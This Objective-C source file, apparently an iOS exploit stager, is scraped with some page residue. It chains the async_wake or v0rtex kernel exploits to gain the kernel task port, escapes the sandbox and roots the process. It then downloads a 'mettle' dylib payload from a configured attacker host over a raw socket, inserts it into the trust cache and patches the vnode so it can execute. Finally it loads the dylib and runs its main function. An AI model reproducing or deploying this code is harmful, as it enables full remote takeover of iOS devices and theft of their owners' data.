188 lines
4.7 KiB
Objective-C
188 lines
4.7 KiB
Objective-C
#include <stdio.h>
|
|
#include <stdint.h>
|
|
#include <stdlib.h>
|
|
|
|
#include <mach/mach.h>
|
|
|
|
#import <Foundation/Foundation.h>
|
|
|
|
#import <dlfcn.h>
|
|
|
|
#include <mach-o/dyld.h>
|
|
|
|
#include <sys/socket.h>
|
|
#include <netinet/in.h>
|
|
#include <arpa/inet.h>
|
|
|
|
#include "magic.h"
|
|
#include "liboffsetfinder64/getoffsets.h"
|
|
#include "v0rtex.h"
|
|
#include "async_wake.h"
|
|
#include "kernel_utils.h"
|
|
#include "patchfinder64.h"
|
|
#include "trustcache.h"
|
|
#include "sandbox.h"
|
|
#include "kutils.h"
|
|
#include "kexecute.h"
|
|
#include "vnode_utils.h"
|
|
|
|
// Note: NSLog crashes for me on iOS 10
|
|
|
|
//#define DEBUG 1
|
|
#ifdef DEBUG
|
|
|
|
#define SLOG(msg, ...) \
|
|
do { \
|
|
if (getuid() == 0) { \
|
|
FILE* logfile = fopen("/var/mobile/log.txt", "a");\
|
|
fprintf(logfile,msg, __VA_ARGS__); \
|
|
fclose(logfile); \
|
|
} \
|
|
} while (0)
|
|
|
|
//#define LOG(msg) \
|
|
//NSLog(@msg); \
|
|
//fprintf(stderr, msg); \
|
|
//fflush(stderr);
|
|
|
|
#else
|
|
#define SLOG(msg, ...) {}
|
|
#endif
|
|
|
|
int download_payload(char* file_path, const char* config_placeholder)
|
|
{
|
|
unlink(file_path);
|
|
SLOG("%s", "Downloading payload\n");
|
|
|
|
const char* payload_url = "payload10";
|
|
if (kCFCoreFoundationVersionNumber >= 1443.00) {
|
|
payload_url = "payload11";
|
|
}
|
|
// Load the payload from server
|
|
int sockfd = 0;
|
|
struct sockaddr_in serv_addr;
|
|
char getpayload[100];
|
|
snprintf(getpayload, sizeof(getpayload), "GET /%s HTTP/1.1\r\n\r\n", payload_url);
|
|
const int chunk_size = 4096;
|
|
char* payload_buffer = malloc(chunk_size);
|
|
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
|
|
SLOG("%s", "Could not connect socket");
|
|
return -1;
|
|
}
|
|
|
|
serv_addr.sin_family = AF_INET;
|
|
serv_addr.sin_addr.s_addr = *(uint32_t*)config_placeholder;
|
|
serv_addr.sin_port = *(uint16_t*)(config_placeholder + 4);
|
|
|
|
SLOG("%s", "Connecting...\n");
|
|
if (connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
|
|
SLOG("%s", "Could not connect\n");
|
|
return -1;
|
|
}
|
|
send(sockfd, getpayload, strlen(getpayload), 0);
|
|
|
|
int payloadfd = open(file_path, O_WRONLY | O_CREAT, 0700);
|
|
int read_header = 0;
|
|
int n;
|
|
while ((n = read(sockfd, payload_buffer, chunk_size)) > 0) {
|
|
if (!read_header) {
|
|
char * payload_start = (char*)memmem((unsigned char*)payload_buffer, chunk_size, (unsigned char*)"\xcf\xfa\xed\xfe", 4);
|
|
write(payloadfd, payload_start, n - (payload_start - payload_buffer));
|
|
read_header = 1;
|
|
} else {
|
|
write(payloadfd, payload_buffer, n);
|
|
}
|
|
}
|
|
|
|
close(payloadfd);
|
|
close(sockfd);
|
|
free(payload_buffer);
|
|
return 0;
|
|
}
|
|
|
|
void fail(uint64_t x) {
|
|
*(volatile int*)(0xbad000000000ull + x) = 0xdead;
|
|
}
|
|
#define ASSERT(x) if (!(x))fail(0xa00000000ull + __LINE__)
|
|
|
|
int main() {
|
|
|
|
SLOG("%s", "Starting...\n");
|
|
|
|
mach_port_t tfp0 = MACH_PORT_NULL;
|
|
uint64_t kbase = 0;
|
|
kern_return_t ret = KERN_FAILURE;
|
|
|
|
if (kCFCoreFoundationVersionNumber >= 1443.00) {
|
|
ret = async_wake(&tfp0);
|
|
if (ret == KERN_SUCCESS && MACH_PORT_VALID(tfp0)) {
|
|
kbase = find_kernel_base();
|
|
SLOG("kbase %p", (void*)kbase);
|
|
}
|
|
} else {
|
|
offsets_t *off = get_offsets();
|
|
SLOG("%s", "Got offsets\n");
|
|
ret = v0rtex(off, &tfp0, &kbase);
|
|
}
|
|
|
|
if (ret != KERN_SUCCESS || !MACH_PORT_VALID(tfp0))
|
|
{
|
|
SLOG("%s", "exploit failed\n");
|
|
return -1;
|
|
} else {
|
|
SLOG("%s", "tfp0!\n");
|
|
}
|
|
|
|
SLOG("%s", "init!\n");
|
|
init_kernel_utils(tfp0, kbase);
|
|
InitPatchfinder(kbase, 0);
|
|
|
|
if (kCFCoreFoundationVersionNumber >= 1443.00) {
|
|
pid_t pid = getpid();
|
|
uint64_t sbcreds = unsandbox(pid);
|
|
rootify(pid);
|
|
SLOG("uid %d", getuid());
|
|
SLOG("creds %p", (void*)sbcreds);
|
|
|
|
}
|
|
|
|
const char config_placeholder[1024] = "PAYLOAD_URL";
|
|
char * file_path = "/var/mobile/mettle.dylib";
|
|
download_payload(file_path, config_placeholder);
|
|
|
|
SLOG("%s", "did init!\n");
|
|
int trustret = trust_bin(file_path);
|
|
SLOG("trust %d\n", trustret);
|
|
|
|
if (kCFCoreFoundationVersionNumber >= 1443.00) {
|
|
//fix for: kernel(Sandbox)[0] <Notice>: Sandbox: com.apple.WebKit(238) System Policy: deny(1) file-map-executable /private/var/mobile/mettle.dylib
|
|
init_Kernel_Execute();
|
|
fix_vnode_for_mmap(file_path);
|
|
}
|
|
|
|
void* mettle = dlopen(file_path, RTLD_NOW);
|
|
if (mettle) {
|
|
SLOG("%s", "got mettle!\n");
|
|
|
|
// Launch the payload
|
|
typedef int (*main_ptr)(int argc, const char *argv[]);
|
|
main_ptr main_func = dlsym(mettle, "main");
|
|
if (main_func) {
|
|
SLOG("%s", "got main_func!\n");
|
|
const char * progname = "mettle";
|
|
const char * arg1 = "-u";
|
|
const char * arg2 = config_placeholder+6;
|
|
const char *argv[] = { progname, arg1, arg2, NULL };
|
|
int mainret = main_func(3, argv);
|
|
SLOG("%s", "did run main_func!\n");
|
|
}
|
|
}
|
|
|
|
SLOG("%s", "exit!\n");
|
|
exit(0);
|
|
return 0;
|
|
}
|
|
|
|
uint64_t entry[] = { MAGIC, (uint64_t)&main };
|
|
|